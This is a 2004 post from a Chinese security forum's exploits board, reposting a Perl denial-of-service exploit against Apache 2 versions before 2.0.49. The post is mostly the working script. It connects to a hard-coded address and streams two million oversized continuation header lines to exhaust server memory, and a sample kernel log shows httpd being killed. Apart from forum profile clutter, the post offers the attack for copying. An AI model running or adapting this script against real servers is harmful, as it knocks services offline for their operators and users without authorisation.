Apache httpd Arbitrary Long HTTP Headers DoS Exploit

冰血封情

老林

团队决策人

Rank: 9 Rank: 9 Rank: 9

E.S.T运营责任人

帖子: 6819
精华: 834
积分: 36070
阅读权限: 255
性别: 男
来自: 中国
在线时间: 586 小时
注册时间: 2004-6-25
最后登录: 2008-9-6

优秀管理奖资料收集奖原创技术奖核心建议奖

发短消息
加为好友
当前离线

楼主大中小发表于 2004-7-29 03:04 只看该作者

Apache httpd Arbitrary Long HTTP Headers DoS Exploit

信息来源：0day

复制内容到剪贴板

代码:

#/usr/bin/perl

#

#exploit for apache ap_get_mime_headers_core() vuln

#

#adv is here: [url]www.guninski.com[/url] httpd1.html

#

#version: apache 2 <2.0.49 apache 1 not tested.

#

#by bkbll bkbll#cnhonker.net www cnhonker com

#

#tail -f /var/log/messages

#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)

#



use IO::Socket::INET;



$host="10.10.10.114";

$port=80;

$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => &#39;tcp&#39;) || die "new error$@\n";

binmode($sock);

$hostname="Host: $host";

$buf2=&#39;A&#39;x50;

$buf4=&#39;A&#39;x8183;

$len=length($buf2);

$buf="GET / HTTP/1.1\r\n";

send($sock,$buf,0) || die "send error:$@\n";

for($i= 0; $i < 2000000; $i++)

{

   $buf=" $buf4\r\n";

   send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";

}

$buf="$hostname\r\n";

$buf.="Content-Length: $len\r\n";



$buf.="\r\n";

$buf.=$buf2."\r\n\r\n";



send($sock,$buf,0) || die "send error:$@\n";

print "Ok, our buffer have send to target \n";

close($sock);

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Apache httpd Arbitrary Long HTTP Headers DoS Exploit